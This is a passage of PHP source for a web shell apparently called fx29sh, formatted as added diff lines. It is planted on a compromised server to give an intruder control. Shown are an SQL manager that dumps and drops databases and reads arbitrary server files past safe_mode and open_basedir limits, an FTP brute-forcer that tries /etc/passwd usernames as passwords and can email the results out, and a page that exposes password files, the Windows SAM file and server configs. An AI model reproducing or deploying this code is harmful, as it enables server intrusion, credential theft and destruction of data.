<input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"> + <input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"> + <input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="dump_file" size="30" value="<?php echo "dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql"; ?>"><input type="submit" name=\"submit\" value="Dump"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table> + <?php + if (!empty($sql_act)) {echo "<hr size=\"1\" noshade>";} + if ($sql_act == "newtbl") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) { + echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>"; + } + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + elseif ($sql_act == "dump") { + if (empty($submit)) { + $diplay = FALSE; + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_act\" value=\"dump\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><b>SQL-Dump:</b><br><br>"; + echo "<b>DB:</b> <input type=\"text\" name=\"sql_db\" value=\"".urlencode($sql_db)."\"><br><br>"; + $v = join (";",$dmptbls); + echo "<b>Only tables (explode \";\")&nbsp;<b><sup>1</sup></b>:</b>&nbsp;<input type=\"text\" name=\"dmptbls\" value=\"".htmlspecialchars($v)."\" size=\"".(strlen($v)+5)."\"><br><br>"; + if ($dump_file) {$tmp = $dump_file;} + else {$tmp = htmlspecialchars("./dump_".getenv("SERVER_NAME")."_".$sql_db."_".date("d-m-Y-H-i-s").".sql");} + echo "<b>File:</b>&nbsp;<input type=\"text\" name=\"sql_dump_file\" value=\"".$tmp."\" size=\"".(strlen($tmp)+strlen($tmp) % 30)."\"><br><br>"; + echo "<b>Download: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_download\" value=\"1\" checked><br><br>"; + echo "<b>Save to file: </b>&nbsp;<input type=\"checkbox\" name=\"sql_dump_savetofile\" value=\"1\" checked>"; + echo "<br><br><input type=\"submit\" name=\"submit\" value=\"Dump\"><br><br><b><sup>1</sup></b> - all, if empty"; + echo "</form>"; + } + else { + $diplay = TRUE; + $set = array(); + $set["sock"] = $sql_sock; + $set["db"] = $sql_db; + $dump_out = "download"; + $set["print"] = 0; + $set["nl2br"] = 0; + $set[""] = 0; + $set["file"] = $dump_file; + $set["add_drop"] = TRUE; + $set["onlytabs"] = array(); + if (!empty($dmptbls)) {$set["onlytabs"] = explode(";",$dmptbls);} + $ret = mysql_dump($set); + if ($sql_dump_download) { + @ob_clean(); + header("Content-type: application/octet-stream"); + header("Content-length: ".strlen($ret)); + header("Content-disposition: attachment; filename=\"".basename($sql_dump_file)."\";"); + echo $ret; + exit; + } + elseif ($sql_dump_savetofile) { + $fp = fopen($sql_dump_file,"w"); + if (!$fp) {echo "<b>Dump error! Can't write to \"".htmlspecialchars($sql_dump_file)."\"!";} + else { + fwrite($fp,$ret); + fclose($fp); + echo "<b>Dumped! Dump has been writed to \"".htmlspecialchars(realpath($sql_dump_file))."\" (".view_size(filesize($sql_dump_file)).")</b>."; + } + } + else {echo "<b>Dump: nothing to do!</b>";} + } + } + if ($diplay) { + if (!empty($sql_tbl)) { + if (empty($sql_tbl_act)) {$sql_tbl_act = "browse";} + $count = mysql_query("SELECT COUNT(*) FROM `".$sql_tbl."`;"); + $count_row = mysql_fetch_array($count); + mysql_free_result($count); + $tbl_struct_result = mysql_query("SHOW FIELDS FROM `".$sql_tbl."`;"); + $tbl_struct_fields = array(); + while ($row = mysql_fetch_assoc($tbl_struct_result)) {$tbl_struct_fields[] = $row;} + if ($sql_ls > $sql_le) {$sql_le = $sql_ls + $perpage;} + if (empty($sql_tbl_page)) {$sql_tbl_page = 0;} + if (empty($sql_tbl_ls)) {$sql_tbl_ls = 0;} + if (empty($sql_tbl_le)) {$sql_tbl_le = 30;} + $perpage = $sql_tbl_le - $sql_tbl_ls; + if (!is_numeric($perpage)) {$perpage = 10;} + $numpages = $count_row[0]/$perpage; + $e = explode(" ",$sql_order); + if (count($e) == 2) { + if ($e[0] == "d") {$asc_desc = "DESC";} + else {$asc_desc = "ASC";} + $v = "ORDER BY `".$e[1]."` ".$asc_desc." "; + } + else {$v = "";} + $query = "SELECT * FROM `".$sql_tbl."` ".$v."LIMIT ".$sql_tbl_ls." , ".$perpage.""; + $result = mysql_query($query) or print(mysql_smarterror()); + echo "<hr size=\"1\" noshade><center><b>Table ".htmlspecialchars($sql_tbl)." (".mysql_num_fields($result)." cols and ".$count_row[0]." rows)</b></center>"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=structure\">[<b> Structure </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=browse\">[<b> Browse </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_act=tbldump&thistbl=1\">[<b> Dump </b>]</a>&nbsp;&nbsp;&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_tbl_act=insert\">[&nbsp;<b>Insert</b>&nbsp;]</a>&nbsp;&nbsp;&nbsp;"; + if ($sql_tbl_act == "structure") {echo "<br><br><b>Coming sooon!</b>";} + if ($sql_tbl_act == "insert") { + if (!is_array($sql_tbl_insert)) {$sql_tbl_insert = array();} + if (!empty($sql_tbl_insert_radio)) { } //Not Ready + else { + echo "<br><br><b>Inserting row into table:</b><br>"; + if (!empty($sql_tbl_insert_q)) { + $sql_query = "SELECT * FROM `".$sql_tbl."`"; + $sql_query .= " WHERE".$sql_tbl_insert_q; + $sql_query .= " LIMIT 1;"; + $result = mysql_query($sql_query,$sql_sock) or print("<br><br>".mysql_smarterror()); + $values = mysql_fetch_assoc($result); + mysql_free_result($result); + } + else {$values = array();} + echo "<form method=\"POST\"><table width=\"1%\" border=1><tr><td><b>Field</b></td><td><b>Type</b></td><td><b>Function</b></td><td><b>Value</b></td></tr>"; + foreach ($tbl_struct_fields as $field) { + $name = $field["Field"]; + if (empty($sql_tbl_insert_q)) {$v = "";} + echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Type"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>"; + $i++; + } + echo "</table><br>"; + echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Insert as new row</b>"; + if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";} + echo "<br><br><input type=\"submit\" value=\"Confirm\"></form>"; + } + } + if ($sql_tbl_act == "browse") { + $sql_tbl_ls = abs($sql_tbl_ls); + $sql_tbl_le = abs($sql_tbl_le); + echo "<hr size=\"1\" noshade>"; + echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Pages\">&nbsp;"; + $b = 0; + for($i=0;$i<$numpages;$i++) { + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";} + echo $i; + if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";} + if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";} + else {echo "&nbsp;";} + } + if ($i == 0) {echo "empty";} + echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>"; + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1>"; + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>"; + for ($i=0;$i<mysql_num_fields($result);$i++) { + $v = mysql_field_name($result,$i); + if ($e[0] == "a") {$s = "d"; $m = "asc";} + else {$s = "a"; $m = "desc";} + echo "<td>"; + if (empty($e[0])) {$e[0] = "a";} + if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";} + else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";} + echo "</td>"; + } + echo "<td><font color=\"green\"><b>Action</b></font></td>"; + echo "</tr>"; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) { + echo "<tr>"; + $w = ""; + $i = 0; + foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;} + if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);} + echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>"; + $i = 0; + foreach ($row as $k=>$v) + { + $v = htmlspecialchars($v); + if ($v == "") {$v = "<font color=\"green\">NULL</font>";} + echo "<td>".$v."</td>"; + $i++; + } + echo "<td>"; + echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;"; + echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;"; + echo "</td>"; + echo "</tr>"; + } + mysql_free_result($result); + echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"deleterow\">Delete</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + } + } + else { + $result = mysql_query("SHOW TABLE STATUS", $sql_sock); + if (!$result) {echo mysql_smarterror();} + else + { + echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgcolor=#000000 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>"; + $i = 0; + $tsize = $trows = 0; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) + { + $tsize += $row["Data_length"]; + $trows += $row["Rows"]; + $size = view_size($row["Data_length"]); + echo "<tr>"; + echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>"; + echo "<td>".$row["Rows"]."</td>"; + echo "<td>".$row["Type"]."</td>"; + echo "<td>".$row["Create_time"]."</td>"; + echo "<td>".$row["Update_time"]."</td>"; + echo "<td>".$size."</td>"; + echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>"; + echo "</tr>"; + $i++; + } + echo "<tr bgcolor=\"000000\">"; + echo "<td><center><b>+</b></center></td>"; + echo "<td><center><b>".$i." table(s)</b></center></td>"; + echo "<td><b>".$trows."</b></td>"; + echo "<td>".$row[1]."</td>"; + echo "<td>".$row[10]."</td>"; + echo "<td>".$row[11]."</td>"; + echo "<td><b>".view_size($tsize)."</b></td>"; + echo "<td></td>"; + echo "</tr>"; + echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">"; + echo "<option value=\"\">With selected:</option>"; + echo "<option value=\"tbldrop\">Drop</option>"; + echo "<option value=\"tblempty\">Empty</option>"; + echo "<option value=\"tbldump\">Dump</option>"; + echo "<option value=\"tblcheck\">Check table</option>"; + echo "<option value=\"tbloptimize\">Optimize table</option>"; + echo "<option value=\"tblrepair\">Repair table</option>"; + echo "<option value=\"tblanalyze\">Analyze table</option>"; + echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>"; + mysql_free_result($result); + } + } + } + } + } + else { + $acts = array("","newdb","serverstatus","servervars","processes","getfile"); + if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Create new DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Create"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php } + if (!empty($sql_act)) { + echo "<hr size=\"1\" noshade>"; + if ($sql_act == "newdb") { + echo "<b>"; + if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success!</b><br>";} + else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\".<br>Reason:</b> ".mysql_smarterror();} + } + if ($sql_act == "serverstatus") { + $result = mysql_query("SHOW STATUS", $sql_sock); + echo "<center><b>Server-status variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table></center>"; + mysql_free_result($result); + } + if ($sql_act == "servervars") { + $result = mysql_query("SHOW VARIABLES", $sql_sock); + echo "<center><b>Server variables:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=0 bgcolor=#000000 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "processes") { + if (!empty($kill)) { + $query = "KILL ".$kill.";"; + $result = mysql_query($query, $sql_sock); + echo "<b>Process #".$kill." was killed.</b>"; + } + $result = mysql_query("SHOW PROCESSLIST", $sql_sock); + echo "<center><b>Processes:</b><br><br>"; + echo "<TABLE cellSpacing=0 cellPadding=2 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>"; + while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";} + echo "</table>"; + mysql_free_result($result); + } + if ($sql_act == "getfile") + { + $tmpdb = $sql_login."_tmpdb"; + $select = mysql_select_db($tmpdb); + if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;} + if ($select) + { + $created = FALSE; + mysql_query("CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );"); + mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); + $result = mysql_query("SELECT * FROM tmp_file;"); + if (!$result) {echo "<b>Error in reading file (permision denied)!</b>";} + else + { + for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);} + $f = ""; + while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);} + if (empty($f)) {echo "<b>File \"".$sql_getfile."\" does not exists or empty!</b><br>";} + else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";} + mysql_free_result($result); + mysql_query("DROP TABLE tmp_file;"); + } + } + mysql_drop_db($tmpdb); + } + } + } +} +echo "</td></tr></table>\n"; +if ($sql_sock) { + $affected = @mysql_affected_rows($sql_sock); + if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;} + echo "<tr><td><center><b>Affected rows : ".$affected."</center></td></tr>"; +} +echo "</table>\n"; +} +//End of SQL Manager +if ($act == "ftpquickbrute") { +echo "<center><table><tr><td class=barheader colspan=2>"; +echo ".: Ftp Quick Brute :.</td></tr>"; +echo "<tr><td>"; +if ($win) { echo "Can't run on Windows!"; } +else { + function fx29ftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh) { + if ($fqb_onlywithsh) {$TRUE = (!in_array($sh,array("/bin/FALSE","/sbin/nologin")));} + else {$TRUE = TRUE;} + if ($TRUE) { + $sock = @ftp_connect($host,$port,$timeout); + if (@ftp_login($sock,$login,$pass)) { + echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Connected to ".$host." with login \"".$login."\" and password \"".$pass."\"</b></a>.<br>"; + ob_flush(); + return TRUE; + } + } + } + if (!empty($submit)) { + if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;} + $fp = fopen("/etc/passwd","r"); + if (!$fp) {echo "Can't get /etc/passwd for password-list.";} + else { + if ($fqb_logging) { + if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");} + else {$fqb_logfp = FALSE;} + $fqb_log = "FTP Quick Brute (".$sh_name.") started at ".date("d.m.Y H:i:s")."\r\n\r\n"; + if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + } + ob_flush(); + $i = $success = 0; + $ftpquick_st = getmicrotime(); + while(!feof($fp)) { + $str = explode(":",fgets($fp,2048)); + if (fx29ftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh)) { + echo "<b>Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\"</b><br>"; + $fqb_log .= "Connected to ".getenv("SERVER_NAME")." with login \"".$str[0]."\" and password \"".$str[0]."\", at ".date("d.m.Y H:i:s")."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + $success++; + ob_flush(); + } + if ($i > $fqb_lenght) {break;} + $i++; + } + if ($success == 0) {echo "No success. connections!"; $fqb_log .= "No success. connections!\r\n";} + $ftpquick_t = round(getmicrotime()-$ftpquick_st,4); + echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Total connections: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>"; + $fqb_log .= "\r\n------------------------------------------\r\nDone!\r\nTotal time (secs.): ".$ftpquick_t."\r\nTotal connections: ".$i."\r\nSuccess.: ".$success."\r\nUnsuccess.:".($i-$success)."\r\nConnects per second: ".round($i/$ftpquick_t,2)."\r\n"; + if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));} + if ($fqb_logemail) {@mail($fqb_logemail,"".$sh_name." report",$fqb_log);} + fclose($fqb_logfp); + } + } + else { + $logfile = $tmpdir_logs."fx29sh_ftpquickbrute_".date("d.m.Y_H_i_s").".log"; + $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\">". + "Read first:</td><td><input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"></td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"> Users only with shell</td></tr>". + "<tr><td></td><td><input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked>Logging</td></tr>". + "<tr><td>Logging to file:</td><td><input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"></td></tr>". + "<tr><td>Logging to e-mail:</td><td><input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"></td></tr>". + "<tr><td colspan=2><input type=submit name=submit value=\"Brute\"></form>"; + } + echo "</td></tr></table></center>"; +} +} +if ($act == "d") { + if (!is_dir($d)) { echo "<center><b>$d is a not a Directory!</b></center>"; } + else { + echo "<b>Directory information:</b><table border=0 cellspacing=1 cellpadding=2>"; + if (!$win) { + echo "<tr><td><b>Owner/Group</b></td><td> "; + $ow = posix_getpwuid(fileowner($d)); + $gr = posix_getgrgid(filegroup($d)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d)); + } + echo "<tr><td><b>Perms</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Create time</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Access time</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>MODIFY time</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table>"; + } +} +if ($act == "phpinfo") {@ob_clean(); phpinfo(); fx29shexit();} +if ($act == "security") { + echo "<div class=barheader>.: Server Security Information :.</div>\n". + "<table>\n". + "<tr><td>Open Base Dir</td><td>".$hopenbasedir."</td></tr>\n"; + echo "<td>Password File</td><td>"; + if (!$win) { + if ($nixpasswd) { + if ($nixpasswd == 1) {$nixpasswd = 0;} + echo "*nix /etc/passwd:<br>"; + if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;} + if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;} + echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>"; + $i = $nixpwd_s; + while ($i < $nixpwd_e) { + $uid = posix_getpwuid($i); + if ($uid) { + $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>"; + echo join(":",$uid)."<br>"; + } + $i++; + } + } + else {echo "<a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b>Download /etc/passwd</b></a>";} + } + else { + $v = $_SERVER["WINDIR"]."\repair\sam"; + if (!file_get_contents($v)) { echo "<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\\repair&ft=download\"><b>Download password file</b></a>"; } + } + echo "</td></tr>\n"; + echo "<tr><td>Config Files</td><td>\n"; + if (!$win) { + $v = array( + array("User Domains","/etc/userdomains"), + array("Cpanel Config","/var/cpanel/accounting.log"), + array("Apache Config","/usr/local/apache/conf/httpd.conf"), + array("Apache Config","/etc/httpd.conf"), + array("Syslog Config","/etc/syslog.conf"), + array("Message of The Day","/etc/motd"), + array("Hosts","/etc/hosts") + ); + $sep = "/"; + } + else { + $windir = $_SERVER["WINDIR"]; + $etcdir = $windir . "\system32\drivers\etc\\"; + $v = array( + array("Hosts",$etcdir."hosts"), + array("Local Network Map",$etcdir."networks"), + array("LM Hosts",$etcdir."lmhosts.sam"), + ); + $sep = "\\"; + } + foreach ($v as $sec_arr) { + $sec_f = substr(strrchr($sec_arr[1], $sep), 1); + $sec_d = rtrim($sec_arr[1],$sec_f); + $sec_full = $sec_d.$sec_f; + $sec_d = rtrim($sec_d,$sep); + if (file_get_contents($sec_full)) { + echo " [ <a href=\"".$surl."act=f&f=$sec_f&d=".urlencode($sec_d)."&ft=txt\"><b>".$sec_arr[0]."</b></a> ] \n"; + } + } + echo "</td></tr>"; + + function displaysecinfo($name,$value) { + if (!empty($value)) { + echo "<tr><td>".$name."</td><td><pre>".wordwrap($value,100)."</pre></td></tr>\n"; + } + } + if (!$win) { + displaysecinfo("OS Version",fx29exec("cat /proc/version")); + displaysecinfo("Kernel Version",fx29exec("sysctl -a | grep version")); + displaysecinfo("Distrib Name",fx29exec("cat /etc/issue.net")); + displaysecinfo("Distrib Name (2)",fx29exec("cat /etc/*-realise")); + displaysecinfo("CPU Info",fx29exec("cat /proc/cpuinfo")); + displaysecinfo("RAM",fx29exec("free -m")); + displaysecinfo("HDD Space",fx29exec("df -h")); + displaysecinfo("List of Attributes",fx29exec("lsattr -a")); + displaysecinfo("Mount 